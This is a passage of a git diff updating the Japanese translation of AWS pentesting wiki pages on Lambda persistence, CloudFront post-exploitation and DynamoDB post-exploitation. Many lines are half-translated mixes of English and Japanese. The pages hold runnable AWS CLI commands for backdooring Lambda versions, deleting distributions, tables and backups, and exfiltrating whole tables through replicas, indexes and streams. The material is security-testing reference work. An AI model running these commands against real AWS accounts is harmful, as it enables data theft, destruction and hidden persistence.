diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 09815b0a4..8ba35f3ee 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,74 +4,74 @@ ## Lambda -詳細は次を参照: +詳しくは以下を参照してください: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Lambda Layer Persistence +### Lambda Layer 永続化 -Lambda が実行される際にステルスに任意コードを実行するために **レイヤーをintroduce/backdoor** することが可能です: +Lambda が実行される際にステルスに **introduce/backdoor a layer to execute arbitrary code** することが可能です: {{#ref}} aws-lambda-layers-persistence.md {{#endref}} -### Lambda Extension Persistence +### Lambda Extension 永続化 -Lambda Layers を悪用することで extensions を悪用し、lambda 内にpersistしたりリクエストを盗んだり改変することも可能です。 +Lambda Layers を悪用することで extensions を悪用し、Lambda に永続化すると同時にリクエストを盗んだり改変したりすることも可能です。 {{#ref}} aws-abusing-lambda-extensions.md {{#endref}} -### Via resource policies +### リソースポリシー経由 -外部アカウントに対して invoke や update code といった異なる lambda アクションへのアクセス権を付与することが可能です: +外部アカウントに対して、Lambda のさまざまな操作(such as invoke or update code)へのアクセスを付与することが可能です:
-### Versions, Aliases & Weights +### バージョン、エイリアス & 重み -Lambda は **異なるバージョン**(各バージョンで異なるコード)を持てます。\ -その後、**異なるバージョンを指す別の alias を作成**し、それぞれに異なる weights を設定できます。\ -この方法で攻撃者は **backdoored version 1** と **正規コードのみの version 2** を作成し、ステルスのためにリクエストの 1% のみで version 1 を実行する、ということが可能です。 +A Lambda can have **different versions** (with different code each version).\ +Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ +この方法により、攻撃者は **backdoored version 1** と合法コードのみの **version 2** を作成し、リクエストの 1% のみ **version 1** を実行してステルスを保つことができます。
### Version Backdoor + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST -1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. -1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` -1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Lambda の元のコードをコピーする +2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST +1. API Gateway を呼び出してコードを実行する +3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. +1. これにより backdoored code は以前のバージョンに隠されます +4. API Gateway に移動し、backdoored version の Lambda を実行する **create a new POST method**(または他の任意のメソッドを選択)を作成します: `arn:aws:lambda:us-east-1::function::1` +1. ARN の末尾の :1 が **indicating the version of the function** 点に注意してください(このシナリオでは version 1 が backdoored です)。 +5. 作成した POST メソッドを選択し、Actions で **`Deploy API`** を選択します +6. これで、POST 経由で関数を呼び出すと、あなたの Backdoor が呼び出されます -### Cron/Event actuator +### Cron/Event トリガー -何かが起こったときや一定時間が経過したときに **lambda functions を実行できる** という性質は、lambda を永続化と検知回避のための便利かつ一般的な手段にします。\ -以下は AWS 内での存在をステルスにするために lambda を作成して行えるアイデアです。 +何かが発生したときや一定時間経過時に **Lambda 関数を実行できる** という事実は、Lambda を永続化と検出回避のための一般的で効果的な手段にします。\ +ここでは、Lambda を作成して AWS 内での存在をよりステルスにするためのアイデアをいくつか示します。 -- 新しいユーザーが作成されるたびに lambda が新しい user key を生成して attacker に送る。 -- 新しい role が作成されるたびに lambda が compromised users に対して assume role 権限を与える。 -- 新しい cloudtrail logs が生成されるたびにそれらを削除/改ざんする。 +- 新しいユーザーが作成されるたびに Lambda が新しいユーザーキーを生成して攻撃者に送る。 +- 新しいロールが作成されるたびに Lambda が侵害済みユーザーに対して assume role 権限を付与する。 +- 新しい CloudTrail ログが生成されるたびに、それらを削除/改ざんする ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -環境変数 `AWS_LAMBDA_EXEC_WRAPPER` を悪用し、runtime/handler が始まる前に attacker 制御の wrapper script を実行させます。wrapper は Lambda Layer で `/opt/bin/htwrap` として配布し、`AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` を設定してから関数を invoke します。wrapper は function runtime process 内で実行され、function execution role を継承し、最終的に real runtime を `exec` するため元の handler は通常通り実行されます。 +環境変数 `AWS_LAMBDA_EXEC_WRAPPER` を悪用して、runtime/handler が開始する前に攻撃者管理下の wrapper スクリプトを実行させます。wrapper を Lambda Layer 経由で `/opt/bin/htwrap` に配布し、`AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` を設定してから関数を invoke します。wrapper は関数の runtime プロセス内で実行され、関数実行ロールを継承し、最後に本来の runtime を `exec` するため、元の handler は通常通り実行されます。 {{#ref}} aws-lambda-exec-wrapper-persistence.md {{#endref}} -### AWS - Lambda Function URL Public Exposure +### AWS - Lambda Function URL 公開露出 -Lambda asynchronous destinations と Recursion 設定を組み合わせて、EventBridge や cron などの外部 scheduler なしで関数を継続的に再呼び出しさせることを悪用します。デフォルトでは Lambda は再帰ループを終了させますが、recursion config を Allow に設定すると再度有効になります。Destinations は async invoke に対してサービス側で配信されるため、単一の seed invoke がステルスでコード不要の heartbeat/backdoor チャネルを作成します。オプションで reserved concurrency を使ってノイズを抑えることができます。 +Lambda の asynchronous destinations と Recursion 設定を組み合わせて、外部のスケジューラ(EventBridge、cron など)なしで関数を継続的に自己再呼び出しさせることを悪用します。デフォルトでは Lambda は再帰ループを終了しますが、recursion config を Allow に設定すると再び有効になります。Destinations は async invokes に対してサービス側で配信されるため、単一のシード invoke がステルスなコード不要のハートビート/バックドアチャネルを作成します。noise を低く保つために reserved concurrency でスロットルすることも可能です。 {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -攻撃者のロジックを持つ隠し Lambda バージョンを作成し、`lambda add-permission` の `--qualifier` パラメータを使ってその特定の version (または alias) にスコープした resource-based policy を作成します。`arn:aws:lambda:REGION:ACCT:function:FN:VERSION` に対して攻撃者プリンシパルにのみ `lambda:InvokeFunction` を付与します。関数名やプライマリアリス経由の通常の呼び出しは影響を受けず、攻撃者は直接 backdoored version ARN を invoke できます。 +攻撃者ロジックを含む隠しの Lambda バージョンを作成し、`lambda add-permission` の `--qualifier` パラメータを使ってその特定のバージョン(またはエイリアス)に対してリソースベースポリシーをスコープします。攻撃者プリンシパルに対して `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` に対する `lambda:InvokeFunction` のみを付与します。関数名や主要なエイリアス経由の通常の呼び出しは影響を受けず、攻撃者は backdoored version ARN を直接呼び出すことができます。 -これは Function URL を公開するよりもステルスで、プライマリトラフィックの alias を変更しません。 +これは Function URL を公開するよりステルス性が高く、主要なトラフィック用エイリアスを変更しません。 {{#ref}} aws-lambda-alias-version-policy-backdoor.md {{#endref}} +### AWS Lambda ランタイムの固定化 +lambda:InvokeFunction、logs:FilterLogEvents、lambda:PutRuntimeManagementConfig、lambda:GetRuntimeManagementConfig の権限を持つ攻撃者は、関数の runtime management configuration を変更できます。この攻撃は、Lambda 関数を脆弱なランタイムバージョンに固定したり、新しいランタイムと互換性がない可能性のある悪意ある layers との互換性を維持したりする場合に特に効果的です。 + +攻撃者はランタイムバージョンを固定するために runtime management configuration を変更します: +```bash +# Invoke the function to generate runtime logs +aws lambda invoke \ +--function-name $TARGET_FN \ +--payload '{}' \ +--region us-east-1 /tmp/ping.json + +sleep 5 + +# Freeze automatic runtime updates on function update +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on FunctionUpdate \ +--region us-east-1 +``` +適用された構成を確認してください: +```bash +aws lambda get-runtime-management-config \ +--function-name $TARGET_FN \ +--region us-east-1 +``` +任意: 特定のランタイムバージョンに固定する +```bash +# Extract Runtime Version ARN from INIT_START logs +RUNTIME_ARN=$(aws logs filter-log-events \ +--log-group-name /aws/lambda/$TARGET_FN \ +--filter-pattern "INIT_START" \ +--query 'events[0].message' \ +--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4) +``` +特定のランタイムバージョンに固定する: +```bash +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on Manual \ +--runtime-version-arn $RUNTIME_ARN \ +--region us-east-1 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index d770df2a5..668530b23 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -4,28 +4,37 @@ ## CloudFront -詳細は以下を参照してください: +詳細については次を参照してください: {{#ref}} ../../aws-services/aws-cloudfront-enum.md {{#endref}} +### `cloudfront:Delete*` +cloudfront:Delete* が付与された攻撃者は distributions、policies およびその他の重要な CDN 設定オブジェクト(例えば distributions、cache/origin policies、key groups、origin access identities、functions/configs、および関連リソース)を削除できます。これによりサービス停止、コンテンツの損失、設定やフォレンジックの証跡の消失が発生する可能性があります。 + +distribution を削除するために、攻撃者は次のような方法を使用できます: +```bash +aws cloudfront delete-distribution \ +--id \ +--if-match +``` ### Man-in-the-Middle -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) は、**Lambda** が **CloudFront** を通した通信に追加(すでに使用されている場合は修正)され、セッションの **cookie** のようなユーザ情報を**stealing**し、**response** を**modifying**(悪意のある JS スクリプトを注入)する目的で使われるいくつかのシナリオを示しています。 +この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda** を(既に使用されている場合は変更して)**communication through CloudFront** に組み込み、ユーザ情報(例えばセッションの **cookie**)を**盗む**ことや、**response** を**改変**して(悪意ある JS スクリプトを注入するなど)情報を奪うことを目的としたいくつかのシナリオが提案されています。 -#### scenario 1: CloudFront が bucket の HTML にアクセスするよう設定されている場合の MitM +#### シナリオ 1: CloudFront が bucket の HTML にアクセスするように設定されている MitM -- 悪意のある **function** を **作成** する。 -- それを CloudFront distribution に **関連付け** する。 -- **イベントタイプを "Viewer Response" に設定する。** +- **Create** 悪意のある **function** を作成する。 +- **Associate** それを CloudFront distribution に関連付ける。 +- **Set the event type to "Viewer Response"**。 -レスポンスにアクセスすることで、ユーザの cookie を盗み、悪意のある JS を注入できます。 +**response** にアクセスすることで、ユーザの **cookie** を盗み、悪意ある JS を注入できます。 -#### scenario 2: CloudFront がすでに lambda function を使用している場合の MitM +#### シナリオ 2: CloudFront が既に Lambda function を使用している MitM -- lambda function の **code を変更** して機密情報を盗む。 +- **Modify the code** of the Lambda function によりコードを変更して機密情報を盗む。 -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +これらのシナリオを再現する[**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)は、こちらで確認できます。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 08e7c66f9..0e1132632 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -4,7 +4,7 @@ ## DynamoDB -詳細は以下を参照してください: +詳細は次を参照してください: {{#ref}} ../../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ ### `dynamodb:BatchGetItem` -この権限を持つ攻撃者は、**主キーでテーブルからアイテムを取得する**ことができます(テーブルの全データを一度に要求することはできません)。つまり、主キーを知っている必要があります(テーブルのメタデータを取得することで確認できます(`describe-table`))。 +この権限を持つ攻撃者は、**プライマリキーでテーブルからアイテムを取得することができます**(テーブルの全データを一度に取得することはできません)。つまり、プライマリキーを把握している必要があります(テーブルのメタデータを取得して確認できます(`describe-table`))。 {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす +**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性 ### `dynamodb:GetItem` -**前の権限と同様に** この権限は、潜在的な攻撃者が取得するエントリの主キーを指定した場合に、1つのテーブルから値を読み取ることを許可します: +**前の権限と同様に** この権限は、潜在的な攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを許可する: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な privesc +**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc ### `dynamodb:Query` -**前の権限と同様に** この権限は、取得対象エントリの主キーが分かれば攻撃者に対して1つのテーブルから値を読み取ることを許可します。比較の[サブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用できますが、主キー(必ず指定する必要がある)に対して許可されている比較は "EQ" のみであり、比較を使ってリクエストでデータベース全体を取得することはできません。 +**前の権限と同様に** この権限は、攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを可能にします。 It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. {{#tabs }} {{#tab name="json file" }} @@ -107,15 +107,15 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性 +**Potential Impact:** テーブル内の機密情報を特定することで間接的にprivescが可能になる ### `dynamodb:Scan` -この権限を使用して、**dump the entire table easily**。 +この権限を使用すると、**簡単にテーブル全体を dump できる**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**想定される影響:** テーブル内の機密情報を特定することで間接的な privesc +**Potential Impact:** テーブル内の機密情報を特定することによる間接的な privesc ### `dynamodb:PartiQLSelect` @@ -124,18 +124,18 @@ aws dynamodb scan --table-name #Get data inside the table aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -この権限は `batch-execute-statement` の実行も許可します。例えば: +この権限により、`batch-execute-statement` の実行も可能になります。例えば: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -ただし、主キーに値を指定する必要があるため、それほど有用ではない。 +ただし、主キーに値を指定する必要があるため、それほど有用ではありません。 -**潜在的影響:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性がある +**潜在的影響:** テーブル内の機密情報を特定することで、間接的な privesc を引き起こす可能性があります ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -この権限により、attacker は選択した S3 バケットに**テーブル全体をエクスポートできる**: +この権限があれば、攻撃者は選択した S3 バケットにテーブル全体を**エクスポート**できます: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -これが機能するには、テーブルで point-in-time-recovery が有効になっている必要があることに注意してください。テーブルに有効かどうかは次のコマンドで確認できます: +これが機能するには、テーブルで point-in-time-recovery を有効にしておく必要がある点に注意してください。テーブルに設定されているかは次のコマンドで確認できます: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -有効になっていない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です: +有効になっていない場合は、**有効化する必要があります**。そのためには **`dynamodb:ExportTableToPointInTime`** 権限が必要です: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potential Impact:** テーブル内の機密情報を特定することによる間接的なprivesc +**Potential Impact:** テーブル内の機密情報を特定することで間接的に privesc が発生する可能性 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` - -With these permissions, an attacker would be able to **バックアップから新しいテーブルを作成する** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **情報** from the backups that **もはや本番テーブルには存在しない**. +With these permissions, an attacker would be able to **バックアップから新しいテーブルを作成する** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **情報** from the backups that could not be any more in the production table. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Potential Impact:** テーブルのバックアップ内の機密情報を特定することによる間接的な privesc +**潜在的な影響:** テーブルのバックアップ内の機密情報を特定することによる間接的なprivesc ### `dynamodb:PutItem` -この権限は、ユーザーがテーブルに**新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換える**ことを許可します。同じ主キーを持つアイテムが既に存在する場合、**アイテム全体が新しいアイテムで置き換えられます**。主キーが存在しない場合、指定された主キーを持つ新しいアイテムが**作成されます**。 +この権限は、ユーザーがテーブルに**新しい項目を追加するか既存の項目を新しい項目で置き換える**ことを許可します。 同じプライマリキーを持つ項目がすでに存在する場合、**項目全体が新しい項目で置き換えられます**。 プライマリキーが存在しない場合、指定したプライマリキーを持つ新しい項目が**作成されます**。 {{#tabs }} {{#tab name="XSS Example" }} @@ -203,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** DynamoDBテーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性があります +**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の Exploitation が可能になる ### `dynamodb:UpdateItem` -この権限はユーザーにアイテムの既存の属性を**変更したり新しい属性を追加したりする**ことを許可します。アイテム全体を**置換するものではなく**、指定された属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで**新しいアイテムを作成**し、更新式で指定された属性を設定します。 +この権限によりユーザーは **アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したり** できます。これはアイテム全体を **置き換える** ものではなく、指定した属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで **新しいアイテムを作成し**、更新式で指定した属性を設定します。 {{#tabs }} {{#tab name="XSS Example" }} @@ -243,43 +242,43 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の悪用につながる可能性がある +**想定される影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスの悪用につながる可能性がある ### `dynamodb:DeleteTable` -この権限を持つ攻撃者は、**DynamoDB テーブルを削除してデータ損失を引き起こすことができます**。 +この権限を持つ攻撃者は **DynamoDB テーブルを削除してデータ損失を引き起こすことができる**。 ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**潜在的な影響**: データの喪失および削除されたテーブルに依存するサービスの中断。 +**潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失と中断。 ### `dynamodb:DeleteBackup` -この権限を持つ攻撃者は、**DynamoDB のバックアップを削除でき、災害復旧のシナリオでデータ損失を引き起こす可能性があります**。 +この権限を持つ攻撃者は、**DynamoDBのバックアップを削除し、災害復旧のシナリオでデータ損失を引き起こす可能性があります**。 ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potential impact**: データの損失および障害復旧時にバックアップから復旧できない可能性。 +**Potential impact**: データの損失および災害復旧シナリオでバックアップから復元できなくなる可能性。 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: 実際に動作するかテストする -これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視および exfiltrate し、最終的に data leakage を引き起こす可能性があります。 +これらの権限を持つ攻撃者は、**DynamoDB テーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより攻撃者はデータの変更を監視・exfiltrate し、最終的に data leakage を引き起こす可能性があります。 -1. DynamoDBテーブルでストリームを有効にする: +1. DynamoDB テーブルでストリームを有効化する: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. ストリームを説明して、ARNやその他の詳細を取得する: +2. ストリームを説明して、ARN やその他の詳細を取得する: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ @@ -293,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. shard iterator を使用して stream からデータにアクセスし、exfiltrate する: +4. shard iterator を使用してストリームからデータにアクセスし、exfiltrate する: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**潜在的な影響**: DynamoDB テーブルの変更をリアルタイムで監視でき、データの漏洩が発生する可能性があります。 +**Potential impact**: DynamoDB テーブルの変更のリアルタイム監視とデータ漏洩。 -### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` を使ってアイテムを読み取る +### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` でアイテムを読み取る -テーブルに対して `dynamodb:UpdateItem` の権限のみを持つ攻撃者は、通常の読み取り権限(`GetItem`/`Query`/`Scan`)がなくても、無害な更新を行い `--return-values ALL_OLD` を要求することでアイテムを読み取れます。DynamoDB はレスポンスの `Attributes` フィールドに更新前のアイテムの完全なイメージを返します(これは RCU を消費しません)。 +テーブルに対して `dynamodb:UpdateItem` のみが許可されている攻撃者は、無害な更新を行い `--return-values ALL_OLD` を指定することで、通常の読み取り権限(`GetItem`/`Query`/`Scan`)なしにアイテムを読み取れます。DynamoDB は応答の `Attributes` フィールドに更新前のアイテムの完全なイメージを返します(これは RCU を消費しません)。 -- 必要最小限の権限: 対象テーブル/キーに対する `dynamodb:UpdateItem` -- 前提条件: アイテムのプライマリキーを把握していること +- 最小権限: `dynamodb:UpdateItem` on the target table/key. +- 前提条件: アイテムのプライマリキーを知っていること。 -例(無害な属性を追加し、レスポンスで更新前のアイテムを持ち出す): +例(無害な属性を追加し、応答内の更新前のアイテムを外部に持ち出す): ```bash aws dynamodb update-item \ --table-name \ @@ -319,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -CLI のレスポンスには、完全な previous item(すべての属性)を含む `Attributes` ブロックが含まれ、書き込み専用アクセスから事実上の read primitive を提供します。 +CLI のレスポンスには、完全な以前のアイテム(すべての属性)を含む `Attributes` ブロックが含まれ、実質的に write-only アクセスから read primitive を提供します。 -**Potential Impact:** 主キーが既知の場合、書き込み権限のみでテーブルから任意の項目を読み取り、機密データの exfiltration を可能にします。 +**潜在的影響:** primary keys が既知の場合、write permissions のみでテーブルの任意のアイテムを読み取り可能になり、機密データの exfiltration を可能にします。 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -DynamoDB Global Table (version 2019.11.21) に新しい replica Region を追加することでの Stealth exfiltration。もし principal が regional replica を追加できる場合、テーブル全体が attacker-chosen Region にレプリケートされ、そこから attacker はすべてのアイテムを読み取れます。 +新しいレプリカ Region を DynamoDB Global Table (version 2019.11.21) に追加することで行う Stealth exfiltration。principal がリージョナルレプリカを追加できる場合、テーブル全体が攻撃者の選んだ Region にレプリケートされ、そこから攻撃者はすべてのアイテムを読み取ることができます。 {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -355,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -権限: `dynamodb:UpdateTable` (with `replica-updates`) または `dynamodb:CreateTableReplica` を対象テーブルに対して持っている必要があります。レプリカで CMK が使用されている場合、そのキーに対する KMS 権限が必要になることがあります。 +権限: `dynamodb:UpdateTable`(`replica-updates`付き)またはターゲットテーブル上の `dynamodb:CreateTableReplica`。レプリカで CMK が使用されている場合、そのキーに対する KMS の権限が必要になることがある。 -想定される影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、検知されにくいデータ流出が発生する可能性があります。 +潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、ステルスなデータ流出につながる。 -### `dynamodb:TransactWriteItems` (失敗した条件による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems`(失敗した条件による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの完全な属性を持ち出すことができます。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、特定キーに対する書き込み専用のアクセスを事実上読み取りアクセスに変換します。 +トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの全属性を抽出できる。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、書き込み専用アクセスを対象キーの読み取りアクセスに事実上変換してしまう。 {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -410,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -権限: `dynamodb:TransactWriteItems` on the target table (and the underlying item). 読み取り権限は不要です。 +権限: `dynamodb:TransactWriteItems` on the target table (および基になるアイテム)。読み取り権限は不要です。 -潜在的影響: 返却されるキャンセル理由を利用して、トランザクション書き込み権限のみでテーブルから(主キー指定で)任意のアイテムを読み取ることが可能です。 +潜在的影響: トランザクション書き込み権限のみを使用し、返されるキャンセル理由を介してテーブルから(主キーによって)任意のアイテムを読み取ることができます。 ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI -低エントロピー属性に `ProjectionType=ALL` の Global Secondary Index (GSI) を作成し、その属性をアイテム間で一定の値に設定してからインデックスを `Query` して完全なアイテムを取得することで、読み取り制限を回避します。ベーステーブルでの `Query`/`Scan` が拒否されていても、インデックスの ARN に対してクエリできればこの手法は機能します。 +低エントロピー属性に対して Global Secondary Index (GSI) を `ProjectionType=ALL` で作成し、その属性をアイテム間で一定値に設定してからインデックスを `Query` することで、完全なアイテムを取得し、読み取り制限を回避できます。これは、ベーステーブルでの `Query`/`Scan` が拒否されている場合でも、インデックスの ARN に対してクエリできる限り機能します。 -- 最低限の権限: -- `dynamodb:UpdateTable` on the target table (`ProjectionType=ALL` の GSI を作成するため)。 -- `dynamodb:UpdateItem` on the target table keys(各アイテムのインデックス対象属性を設定するため)。 -- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). +- 最小権限: +- `dynamodb:UpdateTable` on the target table (GSI を `ProjectionType=ALL` で作成するため)。 +- `dynamodb:UpdateItem` on the target table keys (各アイテムにインデックス化された属性を設定するため)。 +- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`)。 -手順(PoC: us-east-1): +手順 (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -462,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Potential Impact:** 新しく作成した GSI をクエリして全ての属性を投影することで、ベーステーブルの読み取り APIs が拒否されている場合でもテーブル全体の exfiltration が発生する可能性があります。 +**潜在的影響:** 新しく作成した GSI が全ての属性をプロジェクションする場合、base table の read APIs が拒否されていても、クエリによりテーブル全体を exfiltrate される可能性があります。 -### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams を使った継続的な exfiltration) +### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams) -DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が制御する Kinesis Data Stream に継続的に exfiltrate します。有効化されると、INSERT/MODIFY/REMOVE の各イベントがほぼリアルタイムでストリームに転送され、テーブルの読み取り権限は不要になります。 +DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に exfiltrate します。 有効化されると、各 INSERT/MODIFY/REMOVE イベントがほぼリアルタイムでストリームに転送され、テーブルの read 権限は不要です。 -最小限の権限(攻撃者): -- 対象テーブルに対する `dynamodb:EnableKinesisStreamingDestination` -- 任意でステータス監視のための `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` -- レコードを消費するため、攻撃者が所有する Kinesis 